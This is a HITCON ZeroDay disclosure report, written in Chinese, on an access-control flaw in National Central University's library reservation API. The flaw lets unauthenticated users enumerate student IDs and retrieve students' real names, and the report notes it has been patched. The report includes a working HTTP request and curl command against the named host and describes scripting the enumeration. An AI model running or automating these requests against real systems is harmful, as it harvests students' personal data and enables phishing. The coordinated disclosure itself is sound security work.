國立中央大學圖書館空間預約系統 API 未授權存

Vulnerability Overview

ZDID: ZD-2026-01091
發信 Vendor: 國立中央大學
Title: 國立中央大學圖書館空間預約系統 API 未授權存
Introduction: 國立中央大學圖書館空間預約系統存在 API 存取控制缺陷，外部未授權使用者可藉由枚舉學號取得全校學生之真實姓名名冊。

處理狀態

目前狀態

公開

Last Update : 2026/09/09

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2026/08/25 14:12:00 : 新提交 (由 an 更新此狀態)
2026/08/26 17:49:07 : 新提交 (由 an 更新此狀態)
2026/08/27 14:34:24 : 新提交 (由 an 更新此狀態)
2026/08/31 11:42:55 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/31 17:54:21 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/31 17:54:21 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/31 18:16:46 : 修補中 (由組織帳號更新此狀態)
2026/09/01 15:52:04 : 已修補 (由組織帳號更新此狀態)
2026/09/09 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2026-01091
通報者：an_xyz_tw (an)
風險：中
類型：資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

一、弱點種類與詳細說明
國立中央大學圖書館「空間預約系統」之後端驗證端點 /RWDAPISSO/CheckUser.aspx 存在存取控制缺失（Broken Access Control）與使用者枚舉（User Enumeration）缺陷。
外部訪客進入首頁時，系統僅發放匿名 Session 識別碼（sid）。任何未登入之使用者只要取得該匿名 sid，便可發送 POST 請求並帶入目標學號（readerid）。伺服器在未驗證使用者登入身分與存取授權的情況下，會直接於 JSON 回應之 resdata.cn 欄位回傳對應學生的真實姓名。由於學號編碼具備規律性與連續性，攻擊者可藉此建立全校學生真實姓名與學號之對照清冊。

(圖 1：空間預約系統首頁，於未登入狀態下即可觸發後端驗證)
二、重現步驟（Proof of Concept）

在未登入系統狀態下，向目標 API 發送 HTTP POST 請求：

POST /RWDAPISSO/CheckUser.aspx HTTP/1.1
Host: mwa.lib.ncu.edu.tw
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Origin: https://mwa.lib.ncu.edu.tw
Referer: https://mwa.lib.ncu.edu.tw/pwaspace/
sid=4728d0e16f9a91eefc27c5&lang=zh-tw&restype=json&readerid=114303xxx

亦可透過 cURL 進行驗證：

curl -X POST "https://mwa.lib.ncu.edu.tw/RWDAPISSO/CheckUser.aspx" \
-H "Host: mwa.lib.ncu.edu.tw" \
-H "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0" \
-H "Accept: application/json" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Origin: https://mwa.lib.ncu.edu.tw" \
-H "Referer: https://mwa.lib.ncu.edu.tw/pwaspace/" \
--data "sid=4728d0e16f9a91eefc27c5&lang=zh-tw&restype=json&readerid=114303xxx"

伺服器回傳 ⁠HTTP/1.1 200 OK⁠，並於 JSON 資料中洩漏學生真實姓名（⁠cn⁠）（為保護當事人個資，下方程式碼與截圖之姓名已由通報者人工遮蔽）：

{
"rescode": "1",
"resmsg": "成功",
"resdata": [
{
  "exists": "Y",
  "readerid": "114303xxx",
  "cn": "謝○安",
  "authtype": "portal"
}
]
}

(圖 2：開發者工具 Network 分頁截圖，顯示 CheckUser.aspx 回應封包中帶有姓名資料)

三、影響與危害性分析

全校學生個資外洩：任何外部人員皆可撰寫自動化腳本遞增 readerid 遍歷抓取全校學生姓名，違反校方《個人資料蒐集告知暨同意書》及《個人資料保護法》第 18 條安全維護義務。
助長社交工程攻擊：攻擊者掌握姓名與學號之對照關係後，能以學校行政或圖書館名義發動客製化釣魚郵件。

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

國立中央大學圖書館空間預約系統 API 未授權存 - HITCON ZeroDay

Vulnerability Detail Report